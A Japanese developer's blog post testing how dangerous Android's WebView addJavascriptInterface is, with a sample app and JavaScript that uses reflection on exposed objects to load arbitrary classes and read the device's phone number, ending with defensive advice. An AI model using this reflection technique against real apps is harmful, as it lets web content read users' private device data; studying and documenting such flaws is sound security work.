« 開いたStreamを安全に閉じる仕組みを作ってみた(Java6向け) | メイン | EclipseでAndroidプロジェクトをMavenで管理するための環境構築 + Emacsキーバインドの設定 (2012年版) »

AndroidのWebView#addJavascriptInterfaceがどれだけ危険か検証してみた

Android SDKのJavaDocの説明はかなり簡素なんだけど、WebViewのaddJavascriptInterfaceの説明は珍しく説明が多い。
端的に意訳すると、「addJavascriptInterfaceを使うと、キミのアプリケーションをJavaScriptから操作できるようになるよ。とても便利な便利だけど、危険なセキュリティの問題があるよ。キミが書いたHTML以外では使わないでね。」という感じ。
「オブジェクトを公開する」行為が危険だというのは、技術者は直感的にわかると思うけど、じゃあどれくらい危険なのか実際に試してみた。
まず、次のようなAndroidアプリケーションを作った。
「android.permission.INTERNET」をパーミッションに指定して、WebViewを画面に設定し、後述するHTMLを開くようにした。
WebViewClientの説明は割愛。
検証を2種類行うため、ObjectのインスタンスとActivityのインスタンスをaddJavascriptInterfaceに設定。
Activityを公開することの危険性を示すために、「android.permission.READ_PHONE_STATE」をパーミッションに指定。
実際のコードは以下の通り。
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest
    xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.kanasansoft.android.JavascriptInterface"
    android:versionCode="1"
    android:versionName="0.0.1-SNAPSHOT"
>
    <uses-sdk android:minSdkVersion="4" />
    <application android:icon="@drawable/icon" android:label="@string/app_name">
        <activity android:name=".JavascriptInterfaceActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
</manifest>
main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout
    xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
>
    <WebView
        android:id="@+id/webview"
        android:layout_width="fill_parent"
        android:layout_height="fill_parent"
    />
</LinearLayout>
strings.xml
<?xml version="1.0" encoding="utf-8"?>
<resources>
    <string name="app_name">JavascriptInterface</string>
</resources>
JavascriptInterfaceActivity.java
package com.kanasansoft.android.JavascriptInterface;

import android.app.Activity;
import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebViewClient;

public class JavascriptInterfaceActivity extends Activity {

    //HTMLファイルのURL
    private String url = "http://[address]/[path]/index.html";

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
        WebView webview = (WebView)findViewById(R.id.webview);
        webview.setWebViewClient(new WebViewClient(){});
        webview.getSettings().setJavaScriptEnabled(true);
        webview.loadUrl(url);
        MyObject myObject = new MyObject();
        webview.addJavascriptInterface(myObject, "object");
        webview.addJavascriptInterface(this, "activity");
    }

    static class MyObject {
    }

}
準備したHTMLの格子は以下の通り。
index.html
<html>
<head>
<style>
#logs{
width:100%;
height:90%;
font-size:75%;
</style>
<script>
function log(msg){
    var logs = document.getElementById("logs");
    logs.value+=">" + msg + "\n";
}

function initialize(){
    var reload = document.getElementById("reload");
    reload.addEventListener("click", function(){location.reload();}, false);
    getInfoFromObject();
    getInfoFromActivity();
}

function getInfoFromObject(){
    //検証コード
    //詳細は後述
}

function getInfoFromActivity(){
    //検証コード
    //詳細は後述
}

window.addEventListener("load", initialize, false);
</script>
</head>
<body>
<div>
<input type="button" value="reload" id="reload" />
</div>
<div>
<textarea id="logs"></textarea>
</div>
</body>
</html>
開いたら検証用のメソッドを2つ実行するだけ。
オブジェクトを公開することによる危険性
自分で書いたMyObjectを公開することの危険性を検証。
アプリケーションのコードをちょっと見ただけでは、MyObjectだけを公開しているように見える。
ところが、公開されているのはMyObjectのメソッドだけでなく、継承元のクラスのメソッドも含むので、リフレクションが使える。
ここではStringBufferを使ってみた。
function getInfoFromObject(){
    log("== Object ==");
    log("-- get object --");
    log(object);
    log(object.getClass().getName());
    log("-- get ClassLoader --");
    var classLoader = object.getClass().getClassLoader();
    log(classLoader);
    log("-- make StringBuffer --");
    var clazz = classLoader.loadClass("java.lang.StringBuffer");
    log(clazz);
    var sb = clazz.newInstance();
    sb.append(0x48); // "H"
    sb.append(0x65); // "e"
    sb.append(0x6c); // "l"
    sb.append(0x6c); // "l"
    sb.append(0x6f); // "o"
    log(sb.toString());
}
実行結果
>== Object ==
>-- get object --
>com.kanasansoft.android.JavascriptInterface.JavascriptInterfaceActivity$MyObject@2f8fdc00
>com.kanasansoft.android.JavascriptInterface.JavascriptInterfaceActivity$MyObject
>-- get ClassLoader --
>dalvik.system.PathClassLoader@2f8fd5d8
>-- make StringBuffer --
>class java.lang.StringBuffer
>Hello
今回はStringBufferを使ったけど、もちろん他のクラスも使える。
リフレクションを駆使すれば、かなり多くのことができるようになる。
コンテキストへの参照を取得できるオブジェクトを公開することによる危険性
Androidのコンテキストを取得できるようなオブジェクトを公開すると更に色んな情報が取得できるようになる。
ここでは、「android.permission.READ_PHONE_STATE」のパーミッションを持つアプリケーションを想定して、電話番号を取得してみた。
公開しているオブジェクトは、前述の通りActivity。
function getInfoFromActivity(){
    log("== Activity ==");
    log("-- get Activity --");
    log(activity);
    var context = activity.getApplicationContext();
    log(context);
    log("-- get TelephonyManager --");
    var classLoader = activity.getClass().getClassLoader();
    var clazz = classLoader.loadClass("android.telephony.TelephonyManager");
    log(clazz);
    var preCast = activity.getSystemService("phone");
    log(preCast);
    var telephonyManager = clazz.cast(preCast);
    log(telephonyManager);
    log("-- get Phone Number --");
    var phoneNumber = telephonyManager.getLine1Number();
    log(phoneNumber);
    log("-- no need cast --");
    log(preCast.getLine1Number());
}
実行結果
>== Activity ==
>-- get Activity --
>com.kanasansoft.android.JavascriptInterface.JavascriptInterfaceActivity@2f9032b0
>android.app.Application@2f8fdf70
>-- get TelephonyManager --
>class android.telephony.TelephonyManager
>android.telephony.TelephonyManager@2f9997a0
>android.telephony.TelephonyManager@2f9997a0
>-- get Phone Number --
>080xxxxxxxx
>-- no need cast --
>080xxxxxxxx
電話番号は(さすがに)ふせてる。
パーミッションがなくても色々できるし、許可されているパーミッションが増えればできることが更に増える。
ここでは電話番号を取得してみたけど、値の参照だけでなく色んな機能の実行も可能。
まとめ
WebViewでaddJavascriptInterfaceを使う場合は、開くHTMLは自分(達)で制御できる範囲内に留めるようにするべき。
Activityなどのアプリケーションのコンテキストを取得できるようなオブジェクトを公開するのは論外。
制御できないHTMLを開く場合は、removeJavascriptInterfaceを使うか、別のWebViewを使うしかないのかも。
Android SDKが、「インターフェイスを公開するURLを指定しないと動作しない」「公開するオブジェクトのメソッドのみ公開し、親クラスは呼び出せない」「公開に指定するのは、オブジェクトではなくメソッド」のようなAPIを持っていれば良いんだろうけど、現状はそうはなっていない。
addJavascriptInterfaceを使う場合は、上記のリスクをしっかり理解した上で使うようにするしかないのかも。

コメントを投稿

(いままで、ここでコメントしたことがないときは、コメントを表示する前にこのブログのオーナーの承認が必要になることがあります。承認されるまではコメントは表示されません。そのときはしばらく待ってください。)

Google

タグ クラウド